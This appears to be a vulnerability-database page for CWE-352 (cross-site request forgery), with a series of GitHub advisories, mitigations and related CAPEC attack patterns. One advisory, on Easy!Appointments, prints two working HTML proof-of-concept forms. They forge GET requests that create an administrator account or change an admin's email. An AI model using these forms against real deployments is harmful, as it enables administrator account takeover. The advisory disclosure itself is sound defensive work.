CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14229 vulnerabilities reference this CWE, most recent first.
GHSA-54JX-H2Q6-QWRF
Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-02-03 18:30Cross-Site Request Forgery (CSRF) vulnerability in Stiofan UsersWP userswp allows Cross Site Request Forgery.This issue affects UsersWP: from n/a through <= 1.2.53.
{
"affected": [],
"aliases": [
"CVE-2026-25015"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T15:16:19Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Stiofan UsersWP userswp allows Cross Site Request Forgery.This issue affects UsersWP: from n/a through \u003c= 1.2.53.",
"id": "GHSA-54jx-h2q6-qwrf",
"modified": "2026-02-03T18:30:43Z",
"published": "2026-02-03T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25015"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/userswp/vulnerability/wordpress-userswp-plugin-1-2-53-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54MP-CFJX-83JX
Vulnerability from github – Published: 2024-03-22 18:30 – Updated: 2024-03-22 18:30A vulnerability, which was classified as problematic, was found in DedeCMS 5.7. This affects an unknown part of the file /src/dede/vote_edit.php. The manipulation of the argument aid leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-257709 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-2822"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-22T17:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in DedeCMS 5.7. This affects an unknown part of the file /src/dede/vote_edit.php. The manipulation of the argument aid leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-257709 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-54mp-cfjx-83jx",
"modified": "2024-03-22T18:30:32Z",
"published": "2024-03-22T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2822"
},
{
"type": "WEB",
"url": "https://github.com/E1CHO/demo/blob/main/29.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.257709"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.257709"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54QV-M9FX-37MC
Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35Cross-Site Request Forgery (CSRF) vulnerability in NTC WP Page Loading allows Cross Site Request Forgery. This issue affects WP Page Loading: from n/a through 1.0.6.
{
"affected": [],
"aliases": [
"CVE-2025-49317"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T13:15:47Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in NTC WP Page Loading allows Cross Site Request Forgery. This issue affects WP Page Loading: from n/a through 1.0.6.",
"id": "GHSA-54qv-m9fx-37mc",
"modified": "2026-04-01T18:35:22Z",
"published": "2025-06-06T15:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49317"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-page-loading/vulnerability/wordpress-wp-page-loading-1-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54QX-M7WC-J575
Vulnerability from github – Published: 2025-08-30 03:30 – Updated: 2025-08-30 03:30The Related Posts Lite plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12. This is due to missing or incorrect nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2025-9618"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-30T02:15:32Z",
"severity": "MODERATE"
},
"details": "The Related Posts Lite plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12. This is due to missing or incorrect nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-54qx-m7wc-j575",
"modified": "2025-08-30T03:30:25Z",
"published": "2025-08-30T03:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9618"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/related-posts-lite/tags/1.12/backend/settings.php#L114"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ec3667ac-1d1f-4faf-923c-7e55c03db3da?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54QX-VGV3-PM7V
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in N-Media Bulk Product Sync allows Cross Site Request Forgery. This issue affects Bulk Product Sync: from n/a through 8.6.
{
"affected": [],
"aliases": [
"CVE-2025-31852"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:26Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in N-Media Bulk Product Sync allows Cross Site Request Forgery. This issue affects Bulk Product Sync: from n/a through 8.6.",
"id": "GHSA-54qx-vgv3-pm7v",
"modified": "2026-04-01T18:34:22Z",
"published": "2025-04-01T15:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31852"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/sync-wc-google/vulnerability/wordpress-bulk-product-sync-plugin-8-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54V4-4685-VWRJ
Vulnerability from github – Published: 2026-01-15 20:11 – Updated: 2026-01-15 22:34Summary
application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover
Details
in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52
- Repository / tested commit:
alextselegidis/easyappointments— commit41c9b93a5a2c185a914f204412324d8980943fd5. - Vulnerable file & function:
application/core/EA_Security.php::csrf_verify()— around line 52. Link:.../application/core/EA_Security.php#L52. - Root cause: The function early-returns when the request is not
POST:
// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
return $this->csrf_set_cookie();
}
Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.
-
Examples of vulnerable endpoints (observed during testing):
-
index.php/admins/store— create admin (accepts fields via GET) index.php/admins/update— modify admin (accepts fields via GET)-
index.php/account/save— modify account/password (accepts fields via GET) -
Why this is critical: An attacker can host a simple page that issues requests (e.g.,
<form method="GET" action="...">or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.
PoC
I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally
https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1
Browser PoC (HTML)
Save one of the HTML files (example csrf_add_admin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
<input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
<input type="hidden" name="admin[last_name]" value="poc">
<input type="hidden" name="admin[email]" value="poc@gmail.com">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0923092">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="admincsrf1">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="table">
<input type="hidden" name="admin[settings][password]" value="changeme">
<input type="submit" value="Submit request">
</form>
</body>
</html>
another example for another endpoint
csrf_change_admin_email.html
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
<input type="hidden" name="admin[first_name]" value="test">
<input type="hidden" name="admin[last_name]" value="cve">
<input type="hidden" name="admin[email]" value="test1@cve.com">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0101900">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="testn">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="default">
<input type="hidden" name="admin[id]" value="1">
<input type="submit" value="Submit request">
</form>
</body>
</html>
Suggested remediation (recommended)
Provide two practical remediation paths mmediate and long-term:
Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:
This closes the common bypass route while keeping read-only GET behavior intact.
Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrf_exclude_uris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.
Long-term (recommended, correct fix):
- Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
- Require re-authentication or confirmation for critical operations (email/password changes).
- Set cookie flags:
SameSite,Secure, andHttpOnlyas appropriate.
Impact
- Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
- Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use
$_REQUEST(what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk. - Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23622"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T20:11:23Z",
"nvd_published_at": "2026-01-15T20:16:05Z",
"severity": "HIGH"
},
"details": "### Summary\n`application/core/EA_Security.php::csrf_verify()` only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim\u0027s browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover\n\n### Details\n\nin https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52\n\n* **Repository / tested commit:** `alextselegidis/easyappointments` \u2014 commit `41c9b93a5a2c185a914f204412324d8980943fd5`.\n* **Vulnerable file \u0026 function:** `application/core/EA_Security.php::csrf_verify()` \u2014 around line 52. Link: `.../application/core/EA_Security.php#L52`.\n* **Root cause:** The function early-returns when the request is not `POST`:\n\n```php\n// vulnerable snippet\nif (strtoupper($_SERVER[\u0027REQUEST_METHOD\u0027]) !== \u0027POST\u0027) {\n return $this-\u003ecsrf_set_cookie();\n}\n```\n\nBecause of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via `GET` or `$_REQUEST`, these requests bypass CSRF checks entirely and the application executes the state change.\n\n* **Examples of vulnerable endpoints (observed during testing):**\n\n * `index.php/admins/store` \u2014 create admin (accepts fields via GET)\n * `index.php/admins/update` \u2014 modify admin (accepts fields via GET)\n * `index.php/account/save` \u2014 modify account/password (accepts fields via GET)\n\n* **Why this is critical:** An attacker can host a simple page that issues requests (e.g., `\u003cform method=\"GET\" action=\"...\"\u003e` or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password\u2014enabling account takeover and full compromise of the application instance.\n\n\n### PoC\nI will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally \n\nhttps://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1\n\n**Browser PoC (HTML)**\nSave one of the HTML files (example `csrf_add_admin_account.html`) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/store\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[first_name]\" value=\"admin_add_by_csrf\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[last_name]\" value=\"poc\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[email]\" value=\"poc@gmail.com\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[mobile_number]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[phone_number]\" value=\"0923092\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[address]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[city]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[state]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[zip_code]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[notes]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[language]\" value=\"english\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][username]\" value=\"admincsrf1\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"table\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][password]\" value=\"changeme\"\u003e\n \u003cinput type=\"submit\" value=\"Submit request\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nanother example for another endpoint\n\n`csrf_change_admin_email.html`\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"GET\" action=\"http://localhost:80/easyappointments/index.php/admins/update\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[first_name]\" value=\"test\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[last_name]\" value=\"cve\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[email]\" value=\"test1@cve.com\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[mobile_number]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[phone_number]\" value=\"0101900\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[address]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[city]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[state]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[zip_code]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[notes]\" value=\"\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[language]\" value=\"english\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[timezone]\" value=\"UTC\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][username]\" value=\"testn\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][notifications]\" value=\"1\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[settings][calendar_view]\" value=\"default\"\u003e\n \u003cinput type=\"hidden\" name=\"admin[id]\" value=\"1\"\u003e\n \u003cinput type=\"submit\" value=\"Submit request\"\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Suggested remediation (recommended)\n\nProvide two practical remediation paths mmediate and long-term:\n\n**Immediate (urgent, low-effort):** Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:\n\nThis closes the common bypass route while keeping read-only GET behavior intact.\n\n**Stricter immediate option (no-bypass):** Require a valid CSRF token for **all** methods (including GET) unless the URI is explicitly whitelisted in `csrf_exclude_uris`. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.\n\n**Long-term (recommended, correct fix):**\n\n1. **Controller hardening:** Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .\n2. **Require re-authentication or confirmation** for critical operations (email/password changes).\n3. **Set cookie flags**: `SameSite`, `Secure`, and `HttpOnly` as appropriate.\n\n\n### Impact\n\n* **Type:** Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.\n* **Who is impacted:** Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use `$_REQUEST` (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk.\n* **Consequences:** An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.",
"id": "GHSA-54v4-4685-vwrj",
"modified": "2026-01-15T22:34:15Z",
"published": "2026-01-15T20:11:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23622"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EA_Security.php#L52"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass"
}
GHSA-54V8-3W5H-GGF6
Vulnerability from github – Published: 2023-11-13 00:30 – Updated: 2024-07-08 12:31Cross-Site Request Forgery (CSRF) vulnerability in Harish Chouhan, Themeist I Recommend Tplugin <= 3.9.0 versions.
{
"affected": [],
"aliases": [
"CVE-2023-28696"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-12T22:15:29Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Harish Chouhan, Themeist I Recommend Tplugin \u003c=\u00a03.9.0 versions.",
"id": "GHSA-54v8-3w5h-ggf6",
"modified": "2024-07-08T12:31:04Z",
"published": "2023-11-13T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28696"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/i-recommend-this/wordpress-i-recommend-this-plugin-3-8-3-cross-site-request-forgery-csrf?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54W6-R4QM-XV7R
Vulnerability from github – Published: 2026-01-23 15:31 – Updated: 2026-01-23 21:30Cross-Site Request Forgery (CSRF) vulnerability in marynixie Related Posts Thumbnails Plugin for WordPress related-posts-thumbnails allows Cross Site Request Forgery.This issue affects Related Posts Thumbnails Plugin for WordPress: from n/a through <= 4.3.1.
{
"affected": [],
"aliases": [
"CVE-2026-24596"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-23T15:16:17Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in marynixie Related Posts Thumbnails Plugin for WordPress related-posts-thumbnails allows Cross Site Request Forgery.This issue affects Related Posts Thumbnails Plugin for WordPress: from n/a through \u003c= 4.3.1.",
"id": "GHSA-54w6-r4qm-xv7r",
"modified": "2026-01-23T21:30:43Z",
"published": "2026-01-23T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24596"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/related-posts-thumbnails/vulnerability/wordpress-related-posts-thumbnails-plugin-for-wordpress-plugin-4-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-54WX-2J59-X6GM
Vulnerability from github – Published: 2024-12-21 09:30 – Updated: 2024-12-21 09:30The eCommerce Product Catalog Plugin for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.3.43. This is due to missing or incorrect nonce validation on the 'customer_panel_password_reset' function. This makes it possible for unauthenticated attackers to reset the password of any administrator or customer account via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2024-12771"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-21T07:15:09Z",
"severity": "HIGH"
},
"details": "The eCommerce Product Catalog Plugin for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.3.43. This is due to missing or incorrect nonce validation on the \u0027customer_panel_password_reset\u0027 function. This makes it possible for unauthenticated attackers to reset the password of any administrator or customer account via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-54wx-2j59-x6gm",
"modified": "2024-12-21T09:30:46Z",
"published": "2024-12-21T09:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12771"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ecommerce-product-catalog/trunk/modules/cart/includes/customers/includes/transactions/customer-panel.php#L108"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ecommerce-product-catalog/trunk/modules/cart/includes/customers/includes/transactions/customer-panel.php#L44"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3210939"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3513ec24-0b1b-4528-9f89-eee5654e4e98?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-552W-FG8F-29X6
Vulnerability from github – Published: 2023-01-10 18:30 – Updated: 2026-04-08 18:32The Royal Elementor Addons plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.3.59. This is due to missing nonce validation in the 'wpr_create_mega_menu_template' AJAX function. This allows unauthenticated attackers to create Mega Menu templates, granted they can trick an administrator into performing an action, such as clicking a link.
{
"affected": [],
"aliases": [
"CVE-2022-4707"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-10T17:15:00Z",
"severity": "MODERATE"
},
"details": "The Royal Elementor Addons plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.3.59. This is due to missing nonce validation in the \u0027wpr_create_mega_menu_template\u0027 AJAX function. This allows unauthenticated attackers to create Mega Menu templates, granted they can trick an administrator into performing an action, such as clicking a link.",
"id": "GHSA-552w-fg8f-29x6",
"modified": "2026-04-08T18:32:00Z",
"published": "2023-01-10T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4707"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/admin/mega-menu.php?rev=2809656"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2023/01/eleven-vulnerabilities-patched-in-royal-elementor-addons"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/55db7d81-7ffb-49da-b64e-23e892bddc57"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/55db7d81-7ffb-49da-b64e-23e892bddc57?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.